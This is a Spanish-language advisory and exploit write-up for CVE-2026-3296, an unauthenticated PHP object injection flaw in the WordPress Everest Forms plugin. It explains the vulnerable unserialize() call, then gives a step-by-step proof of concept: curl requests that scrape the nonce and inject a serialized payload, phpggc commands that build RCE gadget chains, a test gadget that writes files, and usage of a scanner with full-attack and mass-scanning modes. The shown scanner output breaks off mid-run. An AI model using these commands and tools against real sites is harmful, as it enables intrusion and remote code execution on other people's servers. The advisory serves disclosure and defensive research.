CVE-2026-3296
CVE-2026-3296 es una vulnerabilidad crítica de inyección de objetos PHP no autenticada con CVSS 9.8 en el plugin Everest Forms de WordPress
Plugin: Everest Forms – Formulario de contacto, formulario de pago, encuesta, sondeo y constructor de formularios personalizados
Slug del plugin: everest-forms
ID CVE: CVE-2026-3296
Puntuación CVSS: 9.8 (Crítico)
Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Tipo de vulnerabilidad: Inyección de objetos PHP no autenticada → RCE
Versiones afectadas: <= 3.4.3
Versión parcheada: 3.4.4
Fecha de publicación: 7 de abril de 2026
Investigador: 0xsabre — Mobikwik / Wordfence
📌 Acerca de la vulnerabilidad
El plugin Everest Forms, al mostrar los metadatos de las entradas del formulario en el panel de administración, llama a la función nativa unserialize() de PHP sin el parámetro allowed_classes.
Un atacante no autenticado puede insertar una carga útil de objeto PHP serializado en cualquier campo público del formulario y guardarla en la base de datos. Cuando un administrador visualiza la entrada en el panel, se activa unserialize() y se ejecuta cualquier cadena de gadgets POP presente en el entorno.
🔍 Resumen de la vulnerabilidad
⚙️ Análisis técnico
Modelo de ataque en dos fases
FASE 1 — INYECCIÓN (Sin autenticación)
FASE 2 — ACTIVACIÓN (Visualización en el panel de administración)
Fase 1 — Inyección: Almacenamiento de la carga útil
// Se activa en cada carga de página del front-end
add_action( 'wp', array( $this, 'listen_task' ) );
// línea 109 — los datos del usuario se procesan después de sanitizarlos
$this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );
Por qué la sanitización es insuficiente (evf-core-functions.php, línea 4754)
// sanitize_text_field() elimina etiquetas HTML, bytes nulos
// NO elimina los caracteres de serialización de PHP (O:, s:, {, }, ;)
default:
$entry['form_fields'][$key] = sanitize_text_field(
$entry['form_fields'][$key]
);
Esta carga útil se conserva completamente después de sanitize_text_field():
O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}
Error adicional — Retorno temprano (línea 4764)
// La sentencia return $entry; está DENTRO del bucle foreach
// → Solo se sanitiza el primer campo, el resto queda en bruto
foreach ($entry['form_fields'] as $key => $value) {
...
return $entry; // ← ERROR: el bucle sale en la primera iteración
}
$entry_metadata = array(
'entry_id' => $entry_id,
'meta_key' => sanitize_key( $field['meta_key'] ),
'meta_value' => maybe_serialize( $field['value'] ),
// maybe_serialize() no modifica cadenas simples
// → La cadena del objeto serializado se escribe tal cual
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );
Fase 2 — Activación: Deserialización insegura
Código vulnerable (html-admin-page-entries-view.php, líneas 130–133)
$meta_value = is_serialized( $meta_value )
? $meta_value
: wp_strip_all_tags( $meta_value );
if ( is_serialized( $meta_value ) ) {
$raw_meta_val = unserialize( $meta_value );
// ↑ Sin el parámetro allowed_classes
// Por defecto en PHP: TODAS las clases pueden ser instanciadas
// → Se activa la cadena de gadgets POP
}
Wrapper seguro existe pero no se usa (evf-core-functions.php, línea 5594)
// Esta función ya existía — simplemente no fue llamada
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options); // Seguro
}
return null;
}
return $data;
}
¿Por qué el nonce no protege?
<!-- Incrustado en el HTML del formulario público — cualquiera puede leerlo -->
<input type="hidden" name="_wpnonce123" value="abc123def456">
El nonce proporciona protección CSRF, no autenticación.
El atacante abre la página del formulario con GET, lee el nonce y luego envía la carga útil mediante POST.
🔴 Cadena de ataque completa
┌──────────────────────────────────────────────────────────────┐
│ FASE 1 — INYECCIÓN (Sin autenticación) │
│ │
│ GET /contacto/ │
│ → form_id=123, nonce=abc123, campo=text_xyz │
│ │
│ POST /contacto/ │
│ everest_forms[id]=123 │
│ everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...} │
│ _wpnonce123=abc123 │
│ │ │
│ ├── sanitize_text_field() → serialización conservada │
│ ├── maybe_serialize() → cadena no cambia │
│ └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..." │
└──────────────────────────┬───────────────────────────────────┘
│ (El administrador realiza una comprobación rutinaria)
┌──────────────────────────▼───────────────────────────────────┐
│ FASE 2 — ACTIVACIÓN (Panel de administración) │
│ │
│ GET /wp-admin/admin.php │
│ ?page=evf-entries&form_id=123&view-entry=456 │
│ │ │
│ ├── is_serialized($meta_value) = true │
│ ├── unserialize($meta_value) ← VULNERABILIDAD │
│ │ allowed_classes = (ausente) → todas las clases │
│ └── Cadena de gadgets POP → __wakeup() / __destruct() │
│ → RCE / Escritura de archivo / Exfiltración │
└──────────────────────────────────────────────────────────────┘
🧪 Prueba de concepto (Manual)
⚠️ Aviso: Esta PoC se proporciona únicamente con fines educativos y de investigación defensiva de seguridad.
Requisitos previos:
- Everest Forms <= 3.4.3 instalado y activo
- Página de formulario accesible públicamente
- Acceso al panel de administración (para activación)
TARGET="https://sitio-objetivo.ejemplo.com/contacto/"
# Extraer el ID del formulario
curl -s "$TARGET" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+'
# Extraer el nonce
curl -s "$TARGET" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+'
Paso 2 — Crear una carga útil de prueba benigna
# Prueba segura — stdClass, sin métodos mágicos
PAYLOAD='O:8:"stdClass":2:{s:6:"source";s:14:"CVE-2026-3296";s:6:"pwned";s:3:"yes";}'
Para entornos reales, genera una cadena POP con PHPGGC:
# Cadena WordPress/RCE1
phpggc WordPress/RCE1 system "id" -s
# Cadena Monolog
phpggc Monolog/RCE1 system "id" -s
Paso 3 — Inyectar la carga útil
FORM_ID="123"
NONCE="abcdef1234"
CAMPO="text_abc123"
curl -s -X POST "$TARGET" \
-d "everest_forms[id]=${FORM_ID}" \
-d "everest_forms[form_fields][${CAMPO}]=${PAYLOAD}" \
-d "_wpnonce${FORM_ID}=${NONCE}" \
-d "everest_forms[hp][abc]="
Esperado: mensaje de éxito del formulario o redirección.
Paso 4 — Verificar en la base de datos (WP-CLI)
wp db query \
"SELECT meta_value FROM wp_evf_entrymeta ORDER BY meta_id DESC LIMIT 3;" \
--allow-root
# Debería aparecer la línea O:8:"stdClass":2:{...}
Paso 5 — Activar como administrador
https://sitio-objetivo.ejemplo.com/wp-admin/admin.php
?page=evf-entries
&form_id=123
&view-entry=<ID_ENTRY>
Al cargar la página, se ejecuta unserialize().
Paso 6 — Verificación de la cadena de gadgets (Entorno de prueba)
// test-gadget.php — USAR SOLO EN ENTORNO DE PRUEBA
class TestGadget {
public function __wakeup() {
file_put_contents(
'/tmp/pwned.txt',
'Inyección de objetos PHP confirmada a las ' . date('c')
);
}
}
cat /tmp/pwned.txt
# Inyección de objetos PHP confirmada a las 2026-04-08T...
🛠️ Escáner automático
Instalación
git clone https://github.com/usuario/cve-2026-3296-scanner
cd cve-2026-3296-scanner
pip install -r requirements.txt
requirements.txt
🚀 Uso
Detección de vulnerabilidad (Carga útil benigna)
python everest_forms_poi.py -u http://objetivo.com --mode scan
Solo inyección (Fase 1)
python everest_forms_poi.py -u http://objetivo.com --mode inject \
--payload-type probe
Ataque completo (Fase 1 + Fase 2)
python everest_forms_poi.py -u http://objetivo.com --mode full \
--admin-user admin --admin-pass Pass123!
python everest_forms_poi.py -u http://objetivo.com --mode inject \
--form-id 5 --field-name text_abc123 \
--custom-payload 'O:8:"stdClass":1:{s:4:"test";s:2:"ok";}'
Detección con callback OOB (Burp Collaborator)
python everest_forms_poi.py -u http://objetivo.com --mode scan \
--payload-type ssrf \
--callback-url http://tu.burp.collaborator.net
Escaneo masivo
python everest_forms_poi.py -l objetivos.txt -t 10 \
--mode scan -o resultados.txt
Con proxy (Burp Suite)
python everest_forms_poi.py -u http://objetivo.com --mode full \
--admin-user admin --admin-pass Pass123! \
--proxy http://127.0.0.1:8080
⚙️ Parámetros
Modo
| Modo | Descripción |
|---|
scan | Inyecta carga útil benigna — detección de vulnerabilidad |
inject |
Parámetros generales
Opciones de carga útil
Credenciales de administrador
| Parámetro | Descripción |
|---|
--admin-user | Nombre de usuario administrador |
--admin-pass | Contraseña del administrador |
💀 Tipos de carga útil
💡 Generación de cadenas reales con PHPGGC:
# WordPress/RCE1
phpggc WordPress/RCE1 system "id" -s
# Monolog/RCE1
phpggc Monolog/RCE1 system "id" -s
# Listar todas las cadenas disponibles
phpggc -l
📊 Estados de salida del escáner
🖥️ Ejemplo de salida del escáner
[*] Objetivo : http://objetivo.com
[*] Modo : full
[*] Tipo de payload: probe
[*] Comando : id
[*] Usuario admin : admin
[→] http://objetivo.com Paso 1: Buscando formulario de Everest Forms...
[→] http://objetivo.com Paso 2: Inyectando carga útil...
[→] http://objetivo.com Paso 3: Iniciando sesión como administrador...
[→] http://objetivo.com Paso 4: Buscando ID de entrada...
[→] http://objetivo.com Paso 5: Deserializando...